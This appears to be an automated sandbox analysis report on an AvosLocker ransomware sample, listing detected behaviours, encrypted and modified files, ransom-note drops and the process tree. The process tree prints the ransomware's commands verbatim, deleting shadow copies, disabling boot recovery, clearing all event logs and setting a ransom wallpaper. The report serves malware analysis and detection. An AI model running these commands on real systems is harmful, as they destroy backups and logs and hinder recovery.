Analysis Overview
SHA256
f8e99bbacc62b0f72aa12f5f92e35607fa0382a881fe4a4b9476fc6b87a03c78
Threat Level: Known bad
The file AvosLocker.exe was found to be: Known bad.
Malicious Activity Summary
Avoslocker Ransomware
Renames multiple (10418) files with added filename extension
Modifies boot configuration data using bcdedit
Renames multiple (5796) files with added filename extension
Deletes shadow copies
Enumerates connected drives
Drops desktop.ini file(s)
Sets desktop wallpaper using registry
Drops file in Program Files directory
System Location Discovery: System Language Discovery
Unsigned PE
Command and Scripting Interpreter: PowerShell
Suspicious use of AdjustPrivilegeToken
Interacts with shadow copies
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Uses Volume Shadow Copy service COM API
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-09-08 14:20
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral2
Detonation Overview
Submitted
2024-09-08 14:20
Reported
2024-09-08 14:21
Platform
win10v2004-20240802-en
Max time kernel
10s
Max time network
50s
Command Line
Signatures
Avoslocker Ransomware
Deletes shadow copies
Modifies boot configuration data using bcdedit
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
Renames multiple (5796) files with added filename extension
Enumerates connected drives
| Description | Indicator | Process | Target |
| File opened (read-only) | \??\Z: | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
Drops file in Program Files directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\LinkedInboxSmallTile.scale-125.png | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sl-si\ui-strings.js | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\bg3_thumb.png | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\pdf.gif | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Common Files\System\msadc\en-US\msdaprsr.dll.mui | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\Microsoft Office\root\rsod\dcf.x-none.msi.16.x-none.tree.dat | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_proxy\internal.identity_helper.exe.manifest | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File created | C:\Program Files\VideoLAN\VLC\lua\playlist\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\es-es\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\zh-cn_get.svg | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\Mozilla Firefox\browser\features\[email protected] | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Trust Protection Lists\Mu\TransparentAdvertisers.DATA | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\s_filter_18.svg | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_link_18.svg | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\EmptyCalendarSearch-Dark.scale-150.png | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\GenericMailBadge.scale-400.png | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File created | C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\de-de\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxCalendarMediumTile.scale-100.png | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected] | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\sl-si\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\EmptySearch.scale-125.png | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\zh-cn_get.svg | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\plugin.js | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File created | C:\Program Files\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\es\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxA-Google.scale-125.png | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File created | C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Web Server Extensions\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\it-it\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\ca-es\ui-strings.js | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File created | C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\eu-es\ui-strings.js | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\OutlookMailMediumTile.scale-400.png | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\next-arrow-disabled.svg | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxA-Yahoo-Light.scale-100.png | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\MSFT_PackageManagementSource\es-ES\MSFT_PackageManagementSource.strings.psd1 | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Windows Media Player\en-US\setup_wm.exe.mui | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-right.gif | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\images\themes\dark\CompleteCheckmark2x.png | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\es-es\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\Providers\Plugins2\AdobeHunspellPlugin\Dictionaries\en_GB\hyph_en_GB.dic | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\Office365LogoWLockup.scale-140.png | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxCalendarAppList.targetsize-64_altform-unplated.png | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\Microsoft Office\root\Office16\PROOF\MSSP7EN.dub | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Download_on_the_App_Store_Badge_cs_135x40.svg | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\example_icons2x.png | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ja-jp\ui-strings.js | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\Microsoft Office\root\rsod\officemuiset.msi.16.en-us.tree.dat | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\Providers\Plugins2\AdobeHunspellPlugin\Abbreviations\en_GB\List.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File created | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\ca-es\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxCalendarAppList.targetsize-16.png | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\Windows Media Player\Skins\Revert.wmz | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File created | C:\Program Files\VideoLAN\VLC\plugins\access_output\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\MSFT_PackageManagement\fr-FR\MSFT_PackageManagement.schema.mfl | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File created | C:\Program Files (x86)\Google\Update\Download\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\Providers\Plugins2\AdobeHunspellPlugin\Dictionaries\en_GB\affDescription.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected] | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\pl-pl\ui-strings.js | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\create_form.gif | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File created | C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
Interacts with shadow copies
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\vssadmin.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Uses Volume Shadow Copy service COM API
Processes
C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe
"C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe"
C:\Windows\SYSTEM32\cmd.exe
cmd /c wmic shadowcopy delete /nointeractive
C:\Windows\SYSTEM32\cmd.exe
cmd /c vssadmin.exe Delete Shadows /All /Quiet
C:\Windows\SYSTEM32\cmd.exe
cmd /c bcdedit /set {default} recoveryenabled No
C:\Windows\SYSTEM32\cmd.exe
cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
C:\Windows\SYSTEM32\cmd.exe
cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /All /Quiet
C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy ignoreallfailures
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
C:\Windows\System32\Wbem\WMIC.exe
wmic shadowcopy delete /nointeractive
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1612282760.png /f
C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 86.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
Files
C:\GET_YOUR_FILES_BACK.txt
| MD5 | 01188d22b1675e3437b1418e14f4ffab |
| SHA1 | 6e7127f3bbfce49485ed8f1acf8f697bcb952818 |
| SHA256 | e4b3ac00a0b2eb195b26abffbc4368077384e73393e51605edda17dae05ab7f2 |
| SHA512 | 6903ae3247f32ad79c60a2062cd6a7bdbf5a7c9db1bdc43bdbef4da3396945014d30968ea4c8531a2d0c7b695f1ea36e2b8c51bb39cc6157c4096ac04a6e187d |
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1ttoaxbd.jwb.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/28360-12349-0x000002617DC80000-0x000002617DCA2000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 6cf293cb4d80be23433eecf74ddb5503 |
| SHA1 | 24fe4752df102c2ef492954d6b046cb5512ad408 |
| SHA256 | b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8 |
| SHA512 | 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | d8b9a260789a22d72263ef3bb119108c |
| SHA1 | 376a9bd48726f422679f2cd65003442c0b6f6dd5 |
| SHA256 | d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc |
| SHA512 | 550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b |
Analysis: behavioral1
Detonation Overview
Submitted
2024-09-08 14:20
Reported
2024-09-08 14:23
Platform
win7-20240903-en
Max time kernel
119s
Max time network
123s
Command Line
Signatures
Avoslocker Ransomware
Deletes shadow copies
Modifies boot configuration data using bcdedit
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
Renames multiple (10418) files with added filename extension
Drops desktop.ini file(s)
| Description | Indicator | Process | Target |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\1033\DataServices\DESKTOP.INI | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
Enumerates connected drives
| Description | Indicator | Process | Target |
| File opened (read-only) | \??\Z: | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
Sets desktop wallpaper using registry
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1882079261.png" | C:\Windows\system32\reg.exe | N/A |
Drops file in Program Files directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Program Files\Windows Sidebar\Gadgets\Calendar.Gadget\images\bNext-hot.png | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.SF | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\VDK10.STP | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Windows Sidebar\Gadgets\Calendar.Gadget\images\calendar_ring_docked.png | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PE03339_.WMF | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\Java\jre7\lib\zi\Etc\GMT-11 | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\epl-v10.html | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\docked_blue_partly-cloudy.png | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File created | C:\Program Files (x86)\Microsoft Office\Office14\Groove\Certificates\groove.net\ManagedObjects\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File created | C:\Program Files\Windows Photo Viewer\en-US\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\7-Zip\Lang\tr.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME22.CSS | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\WB01245_.GIF | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\144DPI\(144DPI)greenStateIcon.png | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\1033\ACCESS12.ACC | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR46F.GIF | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\RECYCLE.WMF | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annots.api | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\Windows Media Player\es-ES\WMPMediaSharing.dll.mui | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\CONTACTINFOBB.POC | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Document Themes 14\Executive.thmx | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\AG00164_.GIF | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winClassicHandle.png | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Windows Sidebar\Gadgets\CPU.Gadget\images\back.png | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\de-DE\css\flyout.css | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Windows Sidebar\Gadgets\Calendar.Gadget\it-IT\gadget.xml | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Windows NT\Accessories\ja-JP\wordpad.exe.mui | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Templates\1033\Access\WSS\1100.accdt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\FORMS\1033\RSSITEM.CFG | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\FD02161_.WMF | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH03143I.JPG | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\ja-JP\css\weather.css | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\images\settings_box_top.png | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\Windows Media Player\de-DE\WMPDMCCore.dll.mui | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
